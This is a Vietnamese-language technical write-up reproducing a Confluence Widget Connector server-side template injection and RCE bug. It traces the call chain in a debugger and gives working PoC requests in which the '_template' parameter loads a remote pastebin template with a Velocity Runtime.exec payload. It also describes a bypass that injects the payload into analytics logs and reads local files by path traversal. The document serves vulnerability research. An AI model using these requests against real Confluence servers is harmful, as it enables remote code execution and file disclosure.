- Bug này xảy ra trên các phiên bản:
- Tất cả các phiên bản 1.x.x, 2.x.x, 3.x.x, 4.x.x và 5.x.x
- Tất cả các phiên bản 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x và 6.5.x
- Tất cả các phiên bản 6.6.x trước 6.6.12
- Tất cả các phiên bản 6.7.x, 6.8.x, 6.9.x, 6.10.x và 6.11.x
- Tất cả các phiên bản 6.12.x trước 6.12.3
- Tất cả các phiên bản 6.13.x trước 6.13.3
- Tất cả các phiên bản 6.14.x trước 6.14.2
- Sau khi tải source về các bạn cần:
- Sửa giá trị
confluence.home
về địa chỉ confluence home ở file ./confluence/WEB-INF/classes/confluence-init.properties - Thêm giá trị
CATALINA_OPTS
để chương trình có thể chạy ở chế độ remote debug
- Sửa giá trị
Với windown, file ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
với linux, file ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
- Tại IDE (Intellij) ta tạo một Debug Configurations:
Remote JVM Debug
với giá trịhost
vàport
là localhost:5005 vàCommand line aguments for remote JVM
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
- Ta có thể sử dụng Postgresql làm database:
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
-
Ta cần add giói jar: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar vào lib để khi debug ta có thể thấy souce cần thiết.
-
Ta tiến hành chạy file ./bin/start-confluence.bat và các bạn có thể tham khảo thêm hướng dẫn này để install từ source.
-
Sau khi đọc Description, ta có thể biết bug này bắt đầu từ tính năng
Widget Connector
thế nên mình google ngay để biết tính năng này là gì, và làm sao để sử dụng: -
Mình chọn bừa các thông số rồi ấn vào preview, sau đó chuyển qua burp để xem có gì hay không.
-
Ở gói tin này, mình thấy có một thông số
"pluginKey":"com.atlassian.confluence.extra.widgetconnector"
vậy nên mình đoán rằng tính năngWidget Connector
được định nghĩa ở classcom.atlassian.confluence.extra.widgetconnector
vậy nên mình đã tìm kiếm trong path xem có gói jar nào khả nghi hay không.
-
mình thử add file ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar vào lib của project để có thể đọc source code và debug.
-
Mở pack widgetconnector mình thấy có cảm tình với class
WidgetMacro
nên mình đặt breakpoit tại contructor và hàm execute của class này để xem khi mình sử dụng tính năngPreview
thì class này có được gọi hay không 🕵️-
Hàm
execute
đã được gọi, sau đó chương trình gọi tớiDefaultRenderManager.getEmbeddedHtml
-
Ta thấy để vào được trong
if
ta cần thỏa mãn điều kiệnwidgetRenderer.matches(url)
. Ta tiến hành kiểm tra hàmwidgetRenderer.matches(url)
ở classYoutubeRenderer
-
Như vậy mình cần để parameter
url
là một đường dẫn video của youtube (hoặc Vimeo, Twitter, ...). Mình seturl
thành url của một video youtube bất kỳ và chương trình đã nhảy vào câuif
sau đó gọi tới hàmwidgetRenderer.getEmbeddedHtml(url, params)
(class YoutubeRenderer) -
Chương trình nhảy tới hàm
setDefaultParam
tại đây ta có thấy một hidden params_template
có vẻ khả nghi :) -
Sau khi thoát khỏi hàm
setDefaultParam
, chương trình gọi tới hàmDefaultVelocityRenderService.render
-
Tiếp tục qua hàm
getRenderedTemplate
vàVelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)
-
Tiếp tới
VelocityUtils.getRenderedTemplate(String templateName, Context context)
vàgetRenderedTemplateWithoutSwallowingErrors(templateName, context)
-
Hàm
renderTemplateWithoutSwallowingErrors
-
Chương trình gọi hàm
getTemplate
rồi tớiVelocityEngine.getTemplate
vàRuntimeInstance.getTemplate
, tại đây ta thấy chương trình gọi hàmgetResource
với tham số đầu vào chính là giá trị của params_template
. Với java, hàmgetResource
có thể dùng để load resource ở dạng file local hoặc là một tiệp ở trên internet (thông qua giao thức HTTP). -
Dừng lại và suy nghĩ: điều này phải chăng cho phép attacker đưa một template (từ local server hoặc từ host của attacker) bất kỳ vào chương trình bằng cách chèn thêm params
_template
vào request hay sao ?? -
Chúng ta tiếp tục trace ngược lại, để xem sau khi có được template thì chương trình xử lý thế nào:
-
Sau khi đã có template, chương trình gọi hàm
VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);
-
Rồi sau đó tới
template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException { if (this.errorCondition != null) { throw this.errorCondition; } else if (this.data == null) { String msg = "Template.merge() failure. The document is null, most likely due to parsing error."; throw new RuntimeException(msg); } else { InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context); ica.setMacroLibraries(macroLibraries); if (macroLibraries != null) { for(int i = 0; i < macroLibraries.size(); ++i) { try { this.rsvc.getTemplate((String)macroLibraries.get(i)); } catch (ResourceNotFoundException var17) { this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i)); throw var17; } catch (ParseErrorException var18) { this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + "."); throw var18; } catch (Exception var19) { throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19); } } } if (this.provideScope) { ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName))); } try { ica.pushCurrentTemplateName(this.name); ica.setCurrentResource(this); ((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ### } catch (StopCommand var20) { if (!var20.isFor(this)) { throw var20; } if (this.rsvc.getLog().isDebugEnabled()) { this.rsvc.getLog().debug(var20.getMessage()); } } catch (IOException var21) { throw new VelocityException("IO Error rendering template '" + this.name + "'", var21); } finally { ica.popCurrentTemplateName(); ica.setCurrentResource((Resource)null); if (this.provideScope) { Object obj = ica.get(this.scopeName); if (obj instanceof Scope) { Scope scope = (Scope)obj; if (scope.getParent() != null) { ica.put(this.scopeName, scope.getParent()); } else if (scope.getReplaced() != null) { ica.put(this.scopeName, scope.getReplaced()); } else { ica.remove(this.scopeName); } } } } } }
- Tại đây ta thấy chương trình có gọi tới
SimpleNode.render
, Hàm này sử dụng template Velocity để parse template. Tới đây ta có thể thấy có thể viết PoC RCE được rồi:
Gói POST request khi yêu cầu tính năng Preview
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
file payload
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
Như vậy là ta đã PoC lại thành công bug này, nhưng trong trường hợp target là một server chăn outbount attacker không thể get resource từ ngoài internet chỉ có thể get resource là những file trong local của server.
Mình nhận được một gợi ý là bằng một cách nào đó user có thể inject payload vào file log. Đây là một ý tưởng khá hay, nên mình bắt chân lên trán tìm cách ngay.
- Mình bắt đầu xem các file log trong Confluence Home để xem chúng có gì đặc biệt. Mình xem các file log ở ./shared-home/analytics-logs/ và thấy có một số key-value quen thuộc, có vẻ như chúng được gửi từ phía client-side
- Mình thấy có gói
POST /rest/analytics/1.0/publish/bulk
có gửi đi một số key-value như trên.
[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
- Mình thử thay thế một số value thì thấy có value
resourceTiming
có thể tùy ý chỉnh sửa mà vẫn được đưa vào log - Như vậy là ta đã có thể đưa payload vào file log nằm trên local của server.
- Từ đây ta có thể đọc file ./confluence/WEB-INF/classes/confluence-init.properties để biết được vị trí của confluence home
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
- Rồi từ đó tìm tới vị trí file log có chứa payload mà mình đã inject vào:
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
- Nếu file log quá lớn không thể đưa vào template để parse ta có thể push log để file log đạt giới hạn kích thước, lúc đó hệ thống tự động ghi log sang file mới và attacker có thể nhân có hội file log mới có kích thước chưa lớn để inject payload để sử dụng.
Tại bản path, class WidgetMacro đã được viết thêm hàm doSanitizeParameters
để xóa param "_template" trước khi gọi renderManager.getEmbeddedHtml(url, parameters);